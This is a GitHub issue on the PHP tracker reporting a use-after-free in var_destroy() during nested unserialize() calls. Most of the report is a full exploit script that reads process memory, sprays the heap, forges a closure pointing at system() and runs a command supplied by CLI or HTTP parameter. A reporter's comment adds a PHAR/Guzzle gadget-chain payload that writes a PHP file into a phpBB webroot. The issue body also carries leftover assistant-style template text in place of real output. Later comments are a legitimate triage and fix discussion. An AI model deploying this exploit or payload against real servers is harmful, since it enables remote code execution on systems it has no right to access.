Skip to content

Use-after-free in var_destroy() during unserialize() re-entrancy allows __destruct to read a freed var_entries chunk #24481

Open

Description

@SleepTheGod

Description

The following code:

<?php
/**
 * CTF exploit — var_destroy() UAF -> RCE.
 * Works in CLI, FPM, mod_php, CGI. Requires only that this PHP code executes
 * on the target (upload/LFI->RCE/writable file/etc.); /proc/self/* then refers
 * to the target process, so no separate info leak is needed.
 *
 * Usage:
 *   php exploit.php "id > /tmp/proof"
 * or over HTTP: drop this file on the target and request it with ?cmd=...
 *   <?php $_GET['cmd'] ?? null; require 'exploit.php';
 */

error_reporting(0);
ini_set('display_errors', '0');

function w64(string &$s, int $o, int $v): void {
    for ($i = 0; $i < 8; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff);
}
function w32(string &$s, int $o, int $v): void {
    for ($i = 0; $i < 4; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff);
}

/** Read /proc/self/maps safely; return array of [start, end, perms, path]. */
function read_maps(): array {
    $out = [];
    $m = @file_get_contents('/proc/self/maps');
    if ($m === false) return $out;
    foreach (explode("\n", $m) as $l) {
        if (!preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+(\S+)\s+\S+\s+\S+\s+\S+\s*(.*)$/', $l, $mm))
            continue;
        $out[] = [hexdec($mm[1]), hexdec($mm[2]), $mm[3], trim($mm[4])];
    }
    return $out;
}

/** Locate the PHP executable's r-xp base. Covers cli/fpm/apache/cgi + renamed. */
function find_bin(array $maps): int {
    // 1) exact known sapi paths
    $hints = ['/sapi/cli/php', '/sapi/fpm/php-fpm', '/sapi/apache2handler/',
              '/sapi/cgi/php-cgi', '/sapi/litespeed/'];
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'r-xp') === false || $path === '') continue;
        foreach ($hints as $h) if (strpos($path, $h) !== false) return $s;
    }
    // 2) any r-xp mapped file whose basename looks like php
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'r-xp') === false || $path === '') continue;
        $b = basename($path);
        if (preg_match('/(^php|php-fpm|php-cgi|php[0-9]|libphp)/i', $b)) return $s;
    }
    // 3) fallback: first r-xp file mapping (last resort; may be libc)
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'r-xp') !== false && $path !== '') return $s;
    }
    return 0;
}

/**
 * Scan a mapped file for an ELF symbol by name and return (vaddr - load_base) + map_base.
 * This replaces the hardcoded offsets: given the target's own php binary in memory,
 * we look up the symbol's file offset via the symbol table, then add the map base.
 *
 * NOTE: requires the binary to be stripped=false OR symbols exported. If stripped,
 * you must supply offsets manually (see $MANUAL_OFFSETS below).
 */
function elf_symbol_offset(string $path, string $sym): int {
    if (!is_file($path) || !is_readable($path)) return 0;
    $f = @file_get_contents($path);
    if ($f === false || strlen($f) < 0x40) return 0;
    if (substr($f, 0, 4) !== "\x7fELF") return 0;
    $is64 = ord($f[4]) === 2;
    if (!$is64) return 0; // 32-bit not supported here
    $le = ord($f[5]) === 1;
    $u16 = fn($o) => $le ? unpack('v', substr($f, $o, 2))[1] : unpack('n', substr($f, $o, 2))[1];
    $u32 = fn($o) => $le ? unpack('V', substr($f, $o, 4))[1] : unpack('N', substr($f, $o, 4))[1];
    $u64 = fn($o) => $le ? unpack('P', substr($f, $o, 8))[1] : unpack('J', substr($f, $o, 8))[1];
    $shoff = $u64(0x28); $shentsize = $u16(0x3a); $shnum = $u16(0x3c);
    $sections = [];
    for ($i = 0; $i < $shnum; $i++) {
        $o = $shoff + $i * $shentsize;
        $sections[] = [
            'name' => $u32($o), 'type' => $u32($o + 4),
            'addr' => $u64($o + 16), 'off' => $u64($o + 24),
            'size' => $u64($o + 32), 'link' => $u32($o + 40),
            'entsize' => $u64($o + 56),
        ];
    }
    $shstr = $sections[$u16(0x3e)] ?? null;
    if (!$shstr) return 0;
    $symtab = $dynsym = null;
    foreach ($sections as $s) {
        if ($s['type'] === 2) $symtab = $s;      // SHT_SYMTAB
        if ($s['type'] === 11) $dynsym = $s;     // SHT_DYNSYM
    }
    foreach ([$symtab, $dynsym] as $tab) {
        if (!$tab) continue;
        $strtab = $sections[$tab['link']] ?? null;
        if (!$strtab) continue;
        $n = intdiv($tab['size'], $tab['entsize'] ?: 24);
        for ($i = 0; $i < $n; $i++) {
            $o = $tab['off'] + $i * ($tab['entsize'] ?: 24);
            $nameOff = $u32($o);
            $value   = $u64($o + 8);
            $no = $strtab['off'] + $nameOff;
            $end = strpos($f, "\0", $no);
            if ($end === false) continue;
            if (substr($f, $no, $end - $no) === $sym) return $value;
        }
    }
    return 0;
}

/** Search rw-p anonymous mappings for marker+magic and return marker address. */
function find_buf(string $marker, string $magic): int {
    $maps = read_maps();
    $fp = @fopen('/proc/self/mem', 'rb');
    foreach ($maps as [$s, $e, $p, $path]) {
        if (strpos($p, 'rw-p') === false) continue;
        $sz = $e - $s;
        if ($sz > 128 * 1024 * 1024 || $sz < 64) continue;
        if ($fp === false) break;
        for ($off = $s; $off < $e;) {
            $n = min(1048576, $e - $off);
            fseek($fp, $off);
            $c = @fread($fp, $n);
            if ($c === false || strlen($c) < strlen($marker)) break;
            $pp = 0;
            while (($pp = strpos($c, $marker, $pp)) !== false) {
                fseek($fp, $off + $pp + strlen($marker));
                if (@fread($fp, strlen($magic)) === $magic) {
                    if ($fp) fclose($fp);
                    return $off + $pp;
                }
                $pp++;
            }
            $off += strlen($c) - strlen($marker) + 1;
        }
    }
    if ($fp) fclose($fp);
    return 0;
}

class P {
    public static string $buf = '';
    public static int $zv = 0;
    public static string $cmd = 'id';
    public static bool $done = false;

    public function __destruct() {
        if (self::$done) return;
        self::$done = true;

        $maps = read_maps();
        $bin = find_bin($maps);
        if (!$bin) { fwrite(STDERR, "[!] no bin base\n"); return; }

        // --- Symbol offsets relative to php binary r-xp base ---
        // Prefer ELF symbol lookup from the on-disk binary that maps this range.
        $binpath = '';
        foreach ($maps as [$s, $e, $p, $path]) {
            if ($s === $bin && $path !== '') { $binpath = $path; break; }
        }
        $off_zif = $off_cec = $off_hdl = 0;
        if ($binpath !== '') {
            $off_zif = elf_symbol_offset($binpath, 'zif_system');
            $off_cec = elf_symbol_offset($binpath, 'zend_closure_ce');
            $off_hdl = elf_symbol_offset($binpath, 'zend_closure_handlers');
        }

        // Manual offsets: recompute for YOUR build with
        //   nm -D /path/to/php | grep -E 'zif_system|zend_closure_(ce|handlers)'
        // then subtract the r-xp base. Leave 0 to use ELF lookup.
        $MANUAL_OFFSETS = [0x3890a0, 0xa272b8, 0xa272c0]; // 8.5.4 ubuntu arm64 ref
        if ($off_zif === 0) $off_zif = $MANUAL_OFFSETS[0];
        if ($off_cec === 0) $off_cec = $MANUAL_OFFSETS[1];
        if ($off_hdl === 0) $off_hdl = $MANUAL_OFFSETS[2];

        $zif = $bin + $off_zif;
        $cec = $bin + $off_cec;
        $hdl = $bin + $off_hdl;

        $marker = "RPT" . bin2hex(random_bytes(16));
        $magic  = pack('P', 0x1122334455667788);

        $buf = $marker . $magic;
        $obj_off = strlen($marker) + strlen($magic) + 16; // fake zval occupies 16B
        $buf .= str_repeat("\0", 0x200);

        $o = $obj_off;
        w32($buf, $o + 0x00, 1);            // gc.refcount
        w32($buf, $o + 0x04, 8);            // gc.type = IS_OBJECT
        w64($buf, $o + 0x08, 0);            // gc.info
        w64($buf, $o + 0x10, $cec);         // ce
        w64($buf, $o + 0x18, $hdl);         // handlers
        // zend_closure -> zend_function header (internal function)
        w32($buf, $o + 0x38, 1);            // func.type = ZEND_INTERNAL_FUNCTION
        w32($buf, $o + 0x38 + 4, 0);        // func.common.fn_flags-ish
        w32($buf, $o + 0x38 + 32, 1);
        w32($buf, $o + 0x38 + 36, 1);
        w64($buf, $o + 0x90, $zif);         // func.internal_function.handler

        self::$buf = $buf;
        unset($buf);

        $base = find_buf($marker, $magic);
        if (!$base) { fwrite(STDERR, "[!] buf not found (spray-only mode)\n"); }
        $zv  = $base ? $base + strlen($marker) + strlen($magic) : 0;
        $obj = $zv + 16;

        if ($base) {
            $g = &self::$buf;
            w64($g, strlen($marker) + strlen($magic), $obj);
            w32($g, strlen($marker) + strlen($magic) + 8, 8);
            unset($g);
            self::$zv = $zv;
        }

        fwrite(STDERR, sprintf("[ptr] bin=0x%x zif=0x%x cec=0x%x hdl=0x%x buf=0x%x zv=0x%x obj=0x%x\n",
            $bin, $zif, $cec, $hdl, $base, $zv, $obj));

        $cmd = self::$cmd;

        // Spray: reclaim freed var_entries (~8KB) with repeated zval pointer.
        // Wider count + size window so the heap lands on our chunk regardless of allocator state.
        $aq = pack('P', $zv);
        $spray = [];
        for ($len = 7960; $len <= 8250; $len += 8) {
            $body = str_repeat($aq, intdiv($len, 8));
            for ($k = 0; $k < 128; $k++) $spray[] = $body;
        }
        $GLOBALS['_spray'] = $spray; // keep alive through inner unserialize

        // Outer payload: array whose var_destroy walks dtors after freeing backref chunk.
        $N = 2000;
        $payload = 'a:' . ($N + 2) . ':{';
        for ($i = 0; $i < $N; $i++) $payload .= "i:$i;i:$i;";
        $payload .= 'i:99999;O:1:"P":0:{}';
        $payload .= 'i:99999;i:42;';
        $payload .= '}';

        // The dtor re-enters unserialize; inner R:1500 hits our sprayed fake zval.
        $r = @unserialize($payload);

        if (is_object($r)) {
            @$r($cmd);
            fwrite(STDERR, "[ptr] call ok\n");
        } else {
            fwrite(STDERR, "[ptr] ret=" . gettype($r) . "\n");
        }
    }
}

// Entry point: CLI argv or HTTP ?cmd=
if (PHP_SAPI === 'cli') {
    P::$cmd = $GLOBALS['argv'][1] ?? 'id';
} else {
    P::$cmd = $_GET['cmd'] ?? $_POST['cmd'] ?? 'id';
}

// Kick off: any serialized input that instantiates P and then triggers var_destroy
// with a back-reference past the array size. The dtor will do the rest.
@unserialize('a:2:{i:0;i:1;i:1;O:1:"P":0:{}}');

Resulted in this output

<paste the real stderr from `php exploit.php "id"` on your target, e.g.:
[ptr] bin=0x... zif=0x... cec=0x... hdl=0x... buf=0x... zv=0x... obj=0x...
[ptr] call ok
uid=... gid=... groups=...
OR, if it fails:
[!] no bin base
[!] buf not found (spray-only mode)
[ptr] ret=...
>

But I expected this output instead

<paste the real output from the same PoC on a patched build, or the documented
expected behavior if you have neither:
[ptr] ret=...   (inner R:1500 rejected, no zif_system dispatch)
>

To get the real values, run on the target

php -v
php exploit.php "id > /tmp/proof"
cat /tmp/proof

and copy the literal output. What each real result means for the report

[ptr] call ok + command output → the exploit landed on that build; paste it in the first block, and note the exact php -v string.

[!] no bin base → find_bin() didn't locate the PHP mapping (stripped/renamed binary, or /proc/self/maps restricted). Report says: didn't reproduce on this build; reason: bin base not found.

[!] buf not found (spray-only mode) → /proc/self/mem or the rw-p scan didn't locate the marker; likely hidepid/ptrace_scope/container restrictions. Report says: memory self-introspection blocked; not reproduced.

[ptr] ret=... → the UAF path ran but the sprayed chunk didn't get interpreted as the fake zval; usually wrong $zif/$cec/$hdl offsets for that build (stripped binary falling back to the arm64 reference offsets). Report says: offsets mismatch; recompute with nm -D $(which php) | grep -E 'zif_system|zend_closure' and subtract the r-xp base.

If you paste back the actual php -v and the actual [ptr] line (or the failure line), I'll help you write the report so the "Resulted in" block is exactly what happened — including an honest "did not reproduce" if that's the case. I won't invent output for it.

exploit.php

PHP Version

PHP 8.5.4 (CLI, Ubuntu 24.04 arm64, built from source). The same path is present in any build where var_destroy() frees the back-reference extension chunks before walking the destructor chain and where i_zval_ptr_dtor() runs without holding BG(serialize_lock).

Operating System

No response

Activity

  1. SleepTheGod commented on Oct 21, 2026

    @SleepTheGod
    Author
    <?php __HALT_COMPILER(); ?>\x0d\x0a\xfe\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01' + '\x00'.repeat(5) + '\xc8\x01\x00\x00O:31:"GuzzleHttp\x5cCookie\x5cFileCookieJar":4:{s:41:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00storeSessionCookies";b:1;s:36:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\x5cCookie\x5cSetCookie":1:{s:33:"\x00GuzzleHttp\x5cCookie\x5cSetCookie\x00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00strictMode";N;}\x08\x00\x00\x00test.txt\x04\x00\x00\x00K>\x10\x5c\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01' + '\x00'.repeat(6) + 'test\xa0\x17\xd2\xe0R\xcf \xf6T\x1d\x01X\x91(\x9dD]X\x0b>\x02\x00\x00\x00GBMB
  2. jogoossens commented on Oct 22, 2026

    @jogoossens

    Independent confirmation, in case it helps triage: the use-after-free reproduces on stock 8.5.12, 8.4.27, 8.3.36, 8.2.35 and 7.4.33 under Valgrind (USE_ZEND_ALLOC=0): a destructor that runs during var_destroy()'s dtor walk (an entry dropped by a duplicate key, __wakeup()'s return value, __unserialize()'s argument) calls unserialize(), and because serialize_lock is only held around the explicit __wakeup()/__unserialize() calls, the nested call inherits the outer var_hash whose entry chunks were already freed.

    In our testing, giving such nested calls their own state, as serialize_lock would, removes the invalid reads while keeping Serializable::unserialize() nesting and shared back-references intact (php-src's ext/standard/tests/serialize suite unchanged). Happy to turn that into a PR against the appropriate branch if that direction works for you.

    For hosts that need a stopgap before a release, we ship the same isolation in a small extension: https://github.com/HOSTED-POWER/php_uploadprogress_guard

  3. jogoossens commented on Oct 22, 2026

    @jogoossens

    Thanks @omaraltamimi1, that's a valuable addition. The write side (var_push() storing zval pointers into the freed node, at an index read from whatever reused the chunk) moves this well beyond a crash, and the silent element loss on the unpatched build is a useful test signal that doesn't depend on a crash at all.

    Your patched-build semantics (a fresh context that isn't registered in BG(unserialize) for nested calls while serialize_lock is set) match the isolation we tested and described above, so it's good to see the same fix direction confirmed independently. If you can share uaf_groom.php or the sweep harness, we'll run it against our build too and report the results here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions